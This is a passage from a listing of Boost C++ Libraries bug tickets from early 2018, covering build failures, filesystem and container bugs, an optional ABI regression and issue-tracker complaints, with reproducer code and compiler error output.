  Referenced from: /export/users1/ikelarev/test3/boost_1_66_0/libs/array/test/../../../bin.v2/libs/array/test/array0.test/intel-darwin/debug/threadapi-pthread/toolset-intel-darwin:linker-type-darwin/array0
  Reason: image not found
EXIT STATUS: 134
====== END OUTPUT ======
    DYLD_LIBRARY_PATH="/export/users1/ikelarev/test3/boost_1_66_0/bin.v2/libs/chrono/build/intel-darwin/debug/threadapi-pthread/toolset-intel-darwin:linker-type-darwin:/export/users1/ikelarev/test3/boost_1_66_0/bin.v2/libs/system/build/intel-darwin/debug/threadapi-pthread/toolset-intel-darwin:linker-type-darwin:/export/users1/ikelarev/test3/boost_1_66_0/bin.v2/libs/test/build/intel-darwin/debug/threadapi-pthread/toolset-intel-darwin:linker-type-darwin:/export/users1/ikelarev/test3/boost_1_66_0/bin.v2/libs/timer/build/intel-darwin/debug/threadapi-pthread/toolset-intel-darwin:linker-type-darwin:/nfs/igk/proj/icl/archive/deploy_mainline/efi2mac/20180206_000000/build/mac_prod/mac/bin/lib:/nfs/igk/proj/icl/archive/deploy_mainline/efi2mac/20180206_000000/build/mac_prod/mac/lib/intel64:$DYLD_LIBRARY_PATH"
export DYLD_LIBRARY_PATH
...

DYLD_LIBRARY_PATH contains paths like /export/users1/ikelarev/test3/boost_1_66_0/bin.v2/libs/chrono/build/intel-darwin/debug/threadapi-pthread/toolset-intel-darwin:linker-type-darwin but colon is the path separator and this path will be broken into two parts - /export/users1/ikelarev/test3/boost_1_66_0/bin.v2/libs/chrono/build/intel-darwin/debug/threadapi-pthread/toolset-intel-darwin and linker-type-darwin. As a result any library which is placed there will be not found.

With Clang compiler paths look like ../../../bin.v2/libs/chrono/build/darwin-darwin-4.2.1/debug/threadapi-pthread without "toolset-intel-darwin:linker-type-darwin" part or something similar.

#13439: boost:::filesystem:::copy_file : The File Exist

anonymous — Tue, 06 Feb 2018 14:31:28 GMT

I'm using an insurance using BOOST library to copy files into the NAS

We migrated to SSD NAS with high throughput, since we have this issue the system return an error boost:::filesystem:::copy_file : The File Exist

If I comeback to SATA NAS it works

#13437: array.hpp and boost_array.hpp share the same header guard

christof.krueger@… — Tue, 06 Feb 2018 00:46:27 GMT

Both array.hpp and boost_array.hpp use BOOST_SERIALIZATION_ARRAY_HPP as header guard.

#13433: b2 emits strange error message when building 1.66.0 on windows 10 against very new visual studio

ivandavid14@… — Wed, 31 Jan 2018 22:08:49 GMT

Hello, I am try to build boost against the latest version of visual studio (15.5.5, I know that 15.5.6 is out though, shouldn't be too different) and I am getting this error

failed to write command file!

when running this command

b2.exe --hash address-model=32 debug --stagedir=bin\v141\Win32\ -a --toolset=msvc-14.1 cxxflags="/D"_WIN32_WINNT=0x0600" /std:c++17 /Qspectre /D"_HAS_AUTO_PTR_ETC=1""

It has passed sometimes however it frequently doesn't. Its unclear what exactly I am doing that causes this error

Here are the things I've done step by step

1: Download boost source code and unzip it

2: run bootstrap.bat

3: run above cmd line from the visual studio developer command prompt (this has failed when using powershell too)

this was the last few things that were printed Info: Boost.Config is older than your compiler version - probably nothing bad will happen - but you may wish to look for an update Boost version. Define BOOST_CONFIG_SUPPRESS_OUTDATED_MESSAGE to suppress this message. msvc.archive bin.v2\libs\date_time\build\a1668ad3e8cba9b190515cabd106a4cf\libboost_date_time-vc141-mt-gd-x32-1_66.lib common.copy bin\v141\Win32\lib\libboost_date_time-vc141-mt-gd-x32-1_66.lib bin.v2\libs\date_time\build\a1668ad3e8cba9b190515cabd106a4cf\libboost_date_time-vc141-mt-gd-x32-1_66.lib

1 file(s) copied.

compile-c-c++ bin.v2\libs\exception\build\a1668ad3e8cba9b190515cabd106a4cf\clone_current_exception_non_intrusive.obj clone_current_exception_non_intrusive.cpp Info: Boost.Config is older than your compiler version - probably nothing bad will happen - but you may wish to look for an update Boost version. Define BOOST_CONFIG_SUPPRESS_OUTDATED_MESSAGE to suppress this message. failed to write command file!

I am unsure what is causing this. I don't think I am passing in parameters to the cxx flags incorrectly. I am filing a ticket because I suspect there might be a bug in b2 or bjam.

#13432: Remove RCS Tags from MPL component

Wed, 31 Jan 2018 21:03:56 GMT

The comment blocks at the top of several of the sources in the MPL component contain antiquated RCS tags that should likely be removed as they cause merge issues on some version control systems.

#13431: ncurses.h and boost.asio problem

Wed, 31 Jan 2018 17:05:53 GMT

Hi, I got the latest boost library (1.66) and tried to compile my old project. The file that I have the errors has #include <ncurses.h> I get a bunch of errors related to timeout() call. To reproduce:

#include <boost/asio.hpp> #include <ncurses.h>

/boost_release_1_66/include/boost/asio/basic_socket_streambuf.hpp:586:7: error: ‘stdscr’ is not a type

int timeout() const

Looking to the history I see that it was a similar issue but was fixed, and now in the latest release this issue is back.

#13430: boost::optional C++98 and C++11 compatability breaks in boost 1.66.0

nialljosullivan@… — Tue, 30 Jan 2018 16:20:38 GMT

Hi,

I have an application that links both C++98 and C++11 libraries, this has worked fine up to and including boost 1.65.1

The issue is caused by a shared header from the C++98 library that uses boost::optional, when compiled by the C++11 code it gets a different class layout of boost::optional to the C++98 code and this is causing binary incompatibilities and seg faults.

Observed on both a Mac with clang 9.0.0 and RHEL with gcc 4.8.5. Windows does not have this issue.

A simple example is a C++98 class Test98 as follows (test98.hpp)

#include <boost/optional.hpp>
class Test98 {
public:
  Test98 (boost::optional<bool> o = boost::none);
private:
  boost::optional<bool> o_;
};

with implementation (test98.cpp)

#include "test98.hpp"
Test98::Test98 (boost::optional<bool> o) : o_(o) {}

Then a main program (main11.cpp)

#include <iostream>
#include <boost/make_shared.hpp>
int main () {
  boost::shared_ptr<Test98> t98 = boost::make_shared<Test98>();
  std::cout << "OK" << std::endl;
  return 0;
}

When I compile test98.cpp as C++98 and main11.cpp as C++11, e.g. with a Makefile

boost=/Users/niall/dev/boost_1_66_0
all: main11
clean:
	rm *.o main11
test98.o: test98.cpp
	g++ -c -Wall -g -O0 -I${boost} $< -o $@
main11.o: main11.cpp
	g++ -c -std=c++11 -g -O0 -Wall -I${boost} $< -o $@
main11: main11.o test98.o
	g++ $^ -o $@

it causes a seg fault, in a debugger I can see the problem is the boost::optional constructor at optional.hpp:946

   945 	#else
-> 946 	    optional ( optional const& rhs ) : base( static_cast<base const&>(rhs) ) {}
   947 	#endif

One might argue that it is wrong to attempt to mix 98 and 11 like this, the two preprocessor runs above are generating different versions of test98.hpp, but it works previously so is a regression issue for me.

Regards, Niall.

#13429: Typo in Boost.Regex error message

Tue, 30 Jan 2018 14:21:13 GMT

The attached patch fixes the typo "uninitialzed".

#13428: Windows: "is_symlink" for drive letter (without trailing directory separator) returns the wrong result

m.kosch@… — Tue, 30 Jan 2018 13:39:23 GMT

Suppose you have a normal directory Dir and a symlink named SymlinkToDir which points to Dir on drive C:\.

The following two tests lead to different results:

boost::filesystem::path fsPathToSymlink("C:\\SymlinkToDir");
boost::filesystem::path fsPathToDrive("C:");
current_path(fsPathToDrive + "\\");
bool b1 = is_symlink(fsPathToDrive);
assert( b1 == false );
current_path(fsPathToSymlink);
bool b2 = is_symlink(fsPathToDrive);
assert( b2 == true );

It seems that Windows differentiates between C: and C:\. The first form seems to denote the current directory on drive C:\ while the second form seems to denote drive C:\ itself. This also can be observed in the Windows command promt.

is_symlink internally uses GetFileAttributesW to determine the symlink status. GetFileAttributes("C:") returns the file attributes of C:\\SymlinkToDir instead of C:\.

The function is_symlink is used to implement other functions, so this problem also effects at least the following other functions, possibly even many more:

canonical returns BOOST_ERROR_NOT_SUPPORTED for an absolute path, if compiled for Windows versions earlier than Windows Vista (_WIN32_WINNT < 0x0600) and the current directory represents a symlink.

weakly_canonical in the same scenario as above, because this utilizes canonical.

#13427: Boost::binomial_heap - decrease bug

adtac — Tue, 30 Jan 2018 12:45:35 GMT

Hello. I was messing around with boost::binomial_heap today and I think I may have found a bug. Essentially, when I construct a min-heap with binomial_heap, insert elements, and decrease an element to become the smallest, it's not at the top.

I've attached a small enough reproducer. Here's the result on execution: http://coliru.stacked-crooked.com/a/28fe3afdedda9d76

As you may see, the output should be:

-1 1 1 2 3 4

Indeed, this is the output in the case of boost::fibonacci_heap and boost::pairing_heap. However, in the case of boost::binomial_heap, the output is:

1 -1 1 2 3 4

#13426: path::concat should ideally take a value_type

ethan@… — Tue, 30 Jan 2018 00:36:48 GMT

Hello,

It'd be great if the concat function on filesystem::path would take a value_type so that it is in line with the filesystem spec. This would also allow .concat(fs::path::preferred_separator) as an easy way to append the separator to the path.

#13425: bug in boost polygon resize

leoyin@… — Mon, 29 Jan 2018 04:15:12 GMT

The function:

void handleResizingEdge45() in polygon_45_set_data.hpp:943

When resizing a vertical/horizontal edge, the code construct a rectangle_data<int> directly instead of using Unit template. When the coordinate_traits<int64_t> is specialized, this easily causes the integer overflow and lead to bogus result.

Change int to Unit would be the simple fix.

Thanks,

#13424: incorect path separator in filesystem::weakly_canonical

ajcekg@… — Sun, 28 Jan 2018 22:34:18 GMT

On windows for this code:

path t = "."; cout << weakly_canonical(t) << endl;

I got: C:/test\boost_test

#13421: boost::polygon::euclidean_distance(segment, point) returns 0 if the segment is of length 0

daniel@… — Thu, 25 Jan 2018 05:31:36 GMT

On line 658 of segment_concept.hpp it returns 0 if the length of the segment (squared) is 0. It should just return the distance to one of the endpoints instead.

In such a case param is also 0 which is why we end up there.

#13419: Dinkum STL requires std::sprintf() with

Wed, 24 Jan 2018 19:41:25 GMT

sprintf() used in global scope in recent update.

Corrected in https://github.com/boostorg/asio/pull/54

#13417: ASIO should support VxWorks

Tue, 23 Jan 2018 18:37:49 GMT

ASIO is popular library with embedded engineers using VxWorks. However they must modify the code themselves to compile on the embedded target system. And then design a test harness to verify the functionality. To stop the repeated porting of ASIO to VxWorks I've prepared the following pull request :

https://github.com/boostorg/asio/pull/54

#13416: ASIO does not cross compile because it uses obsolete vs.

Tue, 23 Jan 2018 18:30:22 GMT

ASIO jam based build suffers from "host pollution" and compile options intended for the target operating system are designated with <os> rather than <target-os> which is the current syntax. This prevents ASIO being cross-compiled using b2 in many cases as the libraries and compile options not supported by the target OS are added to the build options.

This is corrected as part of the following pull request https://github.com/boostorg/asio/pull/54

#13415: Every time I interact with trac for the first time, it claims my email is a sign of spam

Tue, 23 Jan 2018 05:17:48 GMT

This is the third annoyance I've found when dealing with your issue tracker.

*EVERY* time I try to comment on an issue when using your tracker in a new web browser, on a new machine, or on a machine that hasn't been connected to trac in some time, it *INSISTS* that my email is flagged as "a source of spam" and that I have to verify myself through a captcha.

You give me no recourse to dispute the assertion that my email is one of a spammer, so I'm left permanently accused of guilt with no way to prove my innocence.

I've had my email address for over 25 years. In the early days of spam, they would take other people's legitimate email address and forge spam in their name by using someone else's address as the From: field. This may be how my email address ended up on someone's "spam" list.

Yet only boost's ancient trac issue tracker is having a hard time with this. I can report issues on github all day long and have no such problems.

Having an annoying bug tracker is detrimental to building a useful community. It makes me want to just not bother reporting issues against boost libraries and use something else.

#13414: "Reported by me" doesn't show my tickets

Tue, 23 Jan 2018 05:13:23 GMT

I fill out the preferences and do the "Issues I reported" report, but instead I get issues filed by Niall Douglas. If you look at the URL generated by the redirect:

https://svn.boost.org/trac10/query?status=assigned&status=new&status=reopened&reporter=~ned14&col=id&col=summary&col=status&col=type&col=milestone&col=component&order=priority&report=49

The URL before redirect is

https://svn.boost.org/trac10/report/49

This makes it really difficult to find issues I have reported.

#13413: ticket urls in emails are wrong

Mon, 22 Jan 2018 20:48:48 GMT

For instance

Date: Mon, 22 Jan 2018 19:48:39 -0000

To: undisclosed-recipients: ; cc: boost-bugs@…

From: "Boost C++ Libraries" <noreply@…>

Reply-To:

Subject: Re: [Boost C++ Libraries] #13388: boost.test doesn't recognize VS 2

017

Re: <064.e6e39a12f4ecd2b7b4662c5b22774588@…>

Id: <079.42a6af0375edd2d14082408474e705d9@…>

Spam: YES

#13388: boost.test doesn't recognize VS 2017

Reporter: Richard <legalize@...> | Owner: Gennadiy Rozental

Type: Bugs | Status: new

Milestone: To Be Determined | Component: test

Version: Boost 1.66.0 | Severity: Problem

Resolution: | Keywords:

Comment (by Raffi Enficiaud):

Kind reminder

-- Ticket URL: <https://svn.boost.org/trac10/boost/ticket/13388#comment:2> Boost C++ Libraries <http://www.boost.org/> Boost provides free peer-reviewed portable C++ source libraries.

Ticket URL is wrong.

URL should be

https://svn.boost.org/trac10/ticket/13388

#13412: Boost ver1.64.0 doesnt have asio/asoiciated_allocator.hpp

anonymous — Mon, 22 Jan 2018 11:38:57 GMT

I am using boost v 1.64.0 along with beast on ubuntu machine. I am facing issues while compiling that boost/asio/associated_allocator.hpp file doesnt exist. i tried with v1.65.1 as well, getting similar issues. I need to know which version of boost supports associated_allocator.hpp

#13411: boost::container::small_vector move constructor/assignop not noexcept

avi@… — Sun, 21 Jan 2018 13:03:22 GMT

Move-constructing or assigning a small_vector should be noexcept, if the value_type permits it (being itself nothrow move constructible). This will make small_vectors more efficient, and more usable in call sites that require nothrow moves.

#13410: Build failure: function_template.hpp:159:33: error: called object type 'nullptr_t' is not a function or function pointer

Sun, 21 Jan 2018 06:14:53 GMT

RStudio-1.1.409_1 fails to build with clang on FreeBSD-12:

/usr/ports/devel/RStudio/work/rstudio-1.1.409/src/cpp/core/system/Process.cpp
In file included from /wrkdirs/usr/ports/devel/RStudio/work/rstudio-1.1.409/src/cpp/core/system/Process.cpp:16:
In file included from /wrkdirs/usr/ports/devel/RStudio/work/rstudio-1.1.409/src/cpp/core/include/core/system/Process.hpp:25:
In file included from /usr/local/include/boost/function.hpp:70:
In file included from /usr/local/include/boost/preprocessor/iteration/detail/iter/forward1.hpp:57:
In file included from /usr/local/include/boost/function/detail/function_iterate.hpp:14:
In file included from /usr/local/include/boost/function/detail/maybe_include.hpp:29:
/usr/local/include/boost/function/function_template.hpp:159:33: error: called object type 'nullptr_t' is not a function or function pointer
          BOOST_FUNCTION_RETURN((*f)(BOOST_FUNCTION_ARGS));
                                ^~~~
/usr/local/include/boost/function/function_template.hpp:81:36: note: expanded from macro 'BOOST_FUNCTION_RETURN'
#  define BOOST_FUNCTION_RETURN(X) X
                                   ^
/usr/local/include/boost/function/function_template.hpp:925:53: note: in instantiation of member function 'boost::detail::function::void_function_obj_invoker2<nullptr_t, void, bool, bool>::invoke' requested here
        { { &manager_type::manage }, &invoker_type::invoke };
                                                    ^
/usr/local/include/boost/function/function_template.hpp:716:13: note: in instantiation of function template specialization 'boost::function2<void, bool, bool>::assign_to<nullptr_t>' requested here
      this->assign_to(f);
            ^
/usr/local/include/boost/function/function_template.hpp:1061:5: note: in instantiation of function template specialization 'boost::function2<void, bool, bool>::function2<nullptr_t>' requested here
    base_type(f)
    ^
/usr/local/include/boost/function/function_template.hpp:1114:5: note: in instantiation of function template specialization 'boost::function<void (bool, bool)>::function<nullptr_t>' requested here
    self_type(f).swap(*this);
    ^
/wrkdirs/usr/ports/devel/RStudio/work/rstudio-1.1.409/src/cpp/core/system/Process.cpp:239:21: note: in instantiation of function template specialization 'boost::function<void (bool, bool)>::operator=<nullptr_t>' requested here
   cb.onHasSubprocs = NULL;
                    ^

#13409: Logging For Static Methods At Runtime

cranberriess89@… — Fri, 19 Jan 2018 14:34:06 GMT

Hi, We've been logging with Boost Library in the application. We defined a dynamic class which can be configured differently to write on file, console and server by inheriting from Boost Log library classes. There are other 3rd party libraries in the application we use, and one of them includes static classes and methods. In some scenarios of the application, these static methods are called. Our goal is to be able to log for static methods when they are called at runtime.

As you may also know, the static methods are linked at compile time. So, I can not use our dynamic class for logging. Is there any simple approach I can apply for this purpose ?

Thanks in advance, Kind Regards

#13408: Boost Library Possible memory Leak

anonymous — Fri, 19 Jan 2018 14:30:46 GMT

Hi,

We have been using Boost library in the project. I've made analysis by using Valgrind tool to be able to find possible memory leaks. According to the result, there is a memory leak in Boost library.

==7535== 24 bytes in 1 blocks are still reachable in loss record 2 of 6
==7535==    at 0x4C2B0E0: operator new(unsigned long)
(vg_replace_malloc.c:324)
==7535==    by 0x4E430A3: boost::detail::make_external_thread_data()
(in /usr/lib/x86_64-linux-gnu/libboost_thread.so.1.55.0)
==7535==    by 0x4E433DB: boost::detail::add_new_tss_node(void const*,
boost::shared_ptr<boost::detail::tss_cleanup_function>, void*)
(in /usr/lib/x86_64-linux-gnu/libboost_thread.so.1.55.0)
==7535==    by 0x4E4408C: boost::detail::set_tss_data(void const*,
boost::shared_ptr<boost::detail::tss_cleanup_function>, void*, bool)
(in /usr/lib/x86_64-linux-gnu/libboost_thread.so.1.55.0)
==7535==    by 0x54CAC0C:
boost::log::v2_mt_posix::core::add_thread_attribute(boost::log::v2_mt_posix::attribute_name const&, boost::log::v2_mt_posix::attribute const&)

It seems like the allocated memory is not deallocated, so it causes memory leak. Here is the definition of relevant event ;

       thread_data_base* make_external_thread_data()
        {
            thread_data_base* const
me(detail::heap_new<externally_launched_thread>());
            me->self.reset(me);
            set_current_thread_data(me);
            return me;
        }
        thread_data_base* get_or_make_current_thread_data()
        {
            thread_data_base*
current_thread_data(get_current_thread_data());
            if(!current_thread_data)
            {
                current_thread_data=make_external_thread_data();
            }
            return current_thread_data;
        }

I've made some research if there is any post which states that this event causes memory leak, but could not find any. Is there any fix for the problem stated above? If there is any, could you please state the relevant patch ?

Thanks in advance,

Kind Regards

#13406: Boost 1.65.1 : Boost filesystem error codes for non existent files seems to be incorrect

sudhanshu.gupta05@… — Fri, 19 Jan 2018 05:23:24 GMT

Boost::filesystem::equivalent() when called on two non-existent files , error codes generated seems to be incorrect.

I am attaching simple test case which calls boost::filesystem::equivalent() on two non-existent files.

#include "boost/filesystem/operations.hpp" #include <iostream> int main() {

boost::filesystem::path path1("foo"); boost::filesystem::path path2("bar"); boost::system::error_code ec; if(!boost::filesystem::equivalent(path1,path2,ec)) {

std::cout<<"error code: " << ec << std::endl;; std::cout<<"error message: " << ec.message() << std::endl;;

} return 0;

}

The output of the test case with boost 1.56 is

error code: system:2 error message: No such file or directory

The output of the test case with boost 1.65 is

* error code: system:1 error message: Operation not permitted *

Is this change an intentional one or a bug?

#13405: Tree-based containers have troubles with move-only types.

Wed, 17 Jan 2018 17:34:52 GMT

Specifically, move assignment doesn't work.

E.g. test.cpp:

#include <boost/container/set.hpp>
#include <memory>
int main()
{
    boost::container::set<std::unique_ptr<int>> set1, set2;
    set2 = std::move(set1);
}

Compiling with clang 5:

$ clang++-5.0 ~/tmp/test.cpp -std=c++14 -o test -stdlib=libc++ -isystem ./boost_1_66_0
In file included from /home/brd/tmp/test.cpp:1:
In file included from ./boost_1_66_0/boost/container/set.hpp:28:
In file included from ./boost_1_66_0/boost/container/detail/tree.hpp:25:
./boost_1_66_0/boost/container/allocator_traits.hpp:415:51: error: call to implicitly-deleted copy constructor of 'std::__1::unique_ptr<int, std::__1::default_delete<int> >'
      {  ::new((void*)p, boost_container_new_t()) T(::boost::forward<Args>(args)...); }
                                                  ^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
./boost_1_66_0/boost/container/allocator_traits.hpp:360:28: note: in instantiation of function template specialization
      'boost::container::allocator_traits<boost::container::new_allocator<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree,
      true> > >::priv_construct<std::__1::unique_ptr<int, std::__1::default_delete<int> >, const std::__1::unique_ptr<int, std::__1::default_delete<int> > &>' requested here
         allocator_traits::priv_construct(flag, a, p, ::boost::forward<Args>(args)...);
                           ^
./boost_1_66_0/boost/container/detail/node_alloc_holder.hpp:168:36: note: in instantiation of function template specialization
      'boost::container::allocator_traits<boost::container::new_allocator<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree,
      true> > >::construct<std::__1::unique_ptr<int, std::__1::default_delete<int> >, const std::__1::unique_ptr<int, std::__1::default_delete<int> > &>' requested here
      allocator_traits<NodeAlloc>::construct
                                   ^
./boost_1_66_0/boost/container/detail/tree.hpp:389:26: note: in instantiation of function template specialization 'boost::container::container_detail::node_alloc_holder<boost::container::new_allocator<std::__1::unique_ptr<int,
      std::__1::default_delete<int> > >, boost::intrusive::rbtree_impl<boost::intrusive::bhtraits<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *,
      boost::container::tree_type_enum::red_black_tree, true>, boost::intrusive::rbtree_node_traits<void *, true>, boost::intrusive::link_mode_type::normal_link, boost::intrusive::dft_tag, 3>, void,
      boost::container::value_to_node_compare<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree, true>,
      boost::intrusive::tree_value_compare<std::__1::unique_ptr<int, std::__1::default_delete<int> > *, std::__1::less<std::__1::unique_ptr<int, std::__1::default_delete<int> > >, boost::move_detail::identity<std::__1::unique_ptr<int,
      std::__1::default_delete<int> > >, true> >, unsigned long, true, void> >::create_node<const std::__1::unique_ptr<int, std::__1::default_delete<int> > &>' requested here
         return m_holder.create_node(other.m_data);
                         ^
./boost_1_66_0/boost/intrusive/detail/node_cloner_disposer.hpp:65:42: note: in instantiation of member function
      'boost::container::container_detail::RecyclingCloner<boost::container::container_detail::node_alloc_holder<boost::container::new_allocator<std::__1::unique_ptr<int, std::__1::default_delete<int> > >,
      boost::intrusive::rbtree_impl<boost::intrusive::bhtraits<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree, true>,
      boost::intrusive::rbtree_node_traits<void *, true>, boost::intrusive::link_mode_type::normal_link, boost::intrusive::dft_tag, 3>, void,
      boost::container::value_to_node_compare<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree, true>,
      boost::intrusive::tree_value_compare<std::__1::unique_ptr<int, std::__1::default_delete<int> > *, std::__1::less<std::__1::unique_ptr<int, std::__1::default_delete<int> > >, boost::move_detail::identity<std::__1::unique_ptr<int,
      std::__1::default_delete<int> > >, true> >, unsigned long, true, void> >, true>::operator()' requested here
      node_ptr n = traits_->to_node_ptr(*base_t::get()(v));
                                         ^
./boost_1_66_0/boost/intrusive/rbtree_algorithms.hpp:59:20: note: in instantiation of member function
      'boost::intrusive::detail::node_cloner<boost::container::container_detail::RecyclingCloner<boost::container::container_detail::node_alloc_holder<boost::container::new_allocator<std::__1::unique_ptr<int,
      std::__1::default_delete<int> > >, boost::intrusive::rbtree_impl<boost::intrusive::bhtraits<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *,
      boost::container::tree_type_enum::red_black_tree, true>, boost::intrusive::rbtree_node_traits<void *, true>, boost::intrusive::link_mode_type::normal_link, boost::intrusive::dft_tag, 3>, void,
      boost::container::value_to_node_compare<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree, true>,
      boost::intrusive::tree_value_compare<std::__1::unique_ptr<int, std::__1::default_delete<int> > *, std::__1::less<std::__1::unique_ptr<int, std::__1::default_delete<int> > >, boost::move_detail::identity<std::__1::unique_ptr<int,
      std::__1::default_delete<int> > >, true> >, unsigned long, true, void> >, true>, boost::intrusive::bhtraits<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *,
      boost::container::tree_type_enum::red_black_tree, true>, boost::intrusive::rbtree_node_traits<void *, true>, boost::intrusive::link_mode_type::normal_link, boost::intrusive::dft_tag, 3>,
      boost::intrusive::algo_types::RbTreeAlgorithms, false>::operator()' requested here
      node_ptr n = base_t::get()(p);
                   ^
./boost_1_66_0/boost/intrusive/bstree_algorithms.hpp:1943:55: note: (skipping 3 contexts in backtrace; use -ftemplate-backtrace-limit=0 to see all)
         node_ptr insertion_point = target_sub_root = cloner(current);
                                                      ^
./boost_1_66_0/boost/intrusive/bstree.hpp:1040:27: note: in instantiation of function template specialization 'boost::intrusive::rbtree_algorithms<boost::intrusive::rbtree_node_traits<void *, true>
      >::clone<boost::intrusive::detail::node_cloner<boost::container::container_detail::RecyclingCloner<boost::container::container_detail::node_alloc_holder<boost::container::new_allocator<std::__1::unique_ptr<int,
      std::__1::default_delete<int> > >, boost::intrusive::rbtree_impl<boost::intrusive::bhtraits<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *,
      boost::container::tree_type_enum::red_black_tree, true>, boost::intrusive::rbtree_node_traits<void *, true>, boost::intrusive::link_mode_type::normal_link, boost::intrusive::dft_tag, 3>, void,
      boost::container::value_to_node_compare<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree, true>,
      boost::intrusive::tree_value_compare<std::__1::unique_ptr<int, std::__1::default_delete<int> > *, std::__1::less<std::__1::unique_ptr<int, std::__1::default_delete<int> > >, boost::move_detail::identity<std::__1::unique_ptr<int,
      std::__1::default_delete<int> > >, true> >, unsigned long, true, void> >, true>, boost::intrusive::bhtraits<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *,
      boost::container::tree_type_enum::red_black_tree, true>, boost::intrusive::rbtree_node_traits<void *, true>, boost::intrusive::link_mode_type::normal_link, boost::intrusive::dft_tag, 3>,
      boost::intrusive::algo_types::RbTreeAlgorithms, false>,
      boost::intrusive::detail::node_disposer<boost::container::container_detail::allocator_destroyer<boost::container::new_allocator<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int>
      >, void *, boost::container::tree_type_enum::red_black_tree, true> > >, boost::intrusive::bhtraits<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *,
      boost::container::tree_type_enum::red_black_tree, true>, boost::intrusive::rbtree_node_traits<void *, true>, boost::intrusive::link_mode_type::normal_link, boost::intrusive::dft_tag, 3>,
      boost::intrusive::algo_types::RbTreeAlgorithms> >' requested here
         node_algorithms::clone
                          ^
./boost_1_66_0/boost/intrusive/rbtree.hpp:240:18: note: in instantiation of function template specialization
      'boost::intrusive::bstree_impl<boost::intrusive::bhtraits<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree, true>,
      boost::intrusive::rbtree_node_traits<void *, true>, boost::intrusive::link_mode_type::normal_link, boost::intrusive::dft_tag, 3>, void,
      boost::container::value_to_node_compare<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree, true>,
      boost::intrusive::tree_value_compare<std::__1::unique_ptr<int, std::__1::default_delete<int> > *, std::__1::less<std::__1::unique_ptr<int, std::__1::default_delete<int> > >, boost::move_detail::identity<std::__1::unique_ptr<int,
      std::__1::default_delete<int> > >, true> >, unsigned long, true, boost::intrusive::algo_types::RbTreeAlgorithms,
      void>::clone_from<boost::container::container_detail::RecyclingCloner<boost::container::container_detail::node_alloc_holder<boost::container::new_allocator<std::__1::unique_ptr<int, std::__1::default_delete<int> > >,
      boost::intrusive::rbtree_impl<boost::intrusive::bhtraits<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree, true>,
      boost::intrusive::rbtree_node_traits<void *, true>, boost::intrusive::link_mode_type::normal_link, boost::intrusive::dft_tag, 3>, void,
      boost::container::value_to_node_compare<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree, true>,
      boost::intrusive::tree_value_compare<std::__1::unique_ptr<int, std::__1::default_delete<int> > *, std::__1::less<std::__1::unique_ptr<int, std::__1::default_delete<int> > >, boost::move_detail::identity<std::__1::unique_ptr<int,
      std::__1::default_delete<int> > >, true> >, unsigned long, true, void> >, true>,
      boost::container::container_detail::allocator_destroyer<boost::container::new_allocator<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *,
      boost::container::tree_type_enum::red_black_tree, true> > > >' requested here
   {  tree_type::clone_from(BOOST_MOVE_BASE(tree_type, src), cloner, disposer);  }
                 ^
./boost_1_66_0/boost/container/detail/tree.hpp:759:24: note: in instantiation of function template specialization
      'boost::intrusive::rbtree_impl<boost::intrusive::bhtraits<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree, true>,
      boost::intrusive::rbtree_node_traits<void *, true>, boost::intrusive::link_mode_type::normal_link, boost::intrusive::dft_tag, 3>, void,
      boost::container::value_to_node_compare<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree, true>,
      boost::intrusive::tree_value_compare<std::__1::unique_ptr<int, std::__1::default_delete<int> > *, std::__1::less<std::__1::unique_ptr<int, std::__1::default_delete<int> > >, boost::move_detail::identity<std::__1::unique_ptr<int,
      std::__1::default_delete<int> > >, true> >, unsigned long, true,
      void>::clone_from<boost::container::container_detail::RecyclingCloner<boost::container::container_detail::node_alloc_holder<boost::container::new_allocator<std::__1::unique_ptr<int, std::__1::default_delete<int> > >,
      boost::intrusive::rbtree_impl<boost::intrusive::bhtraits<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree, true>,
      boost::intrusive::rbtree_node_traits<void *, true>, boost::intrusive::link_mode_type::normal_link, boost::intrusive::dft_tag, 3>, void,
      boost::container::value_to_node_compare<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *, boost::container::tree_type_enum::red_black_tree, true>,
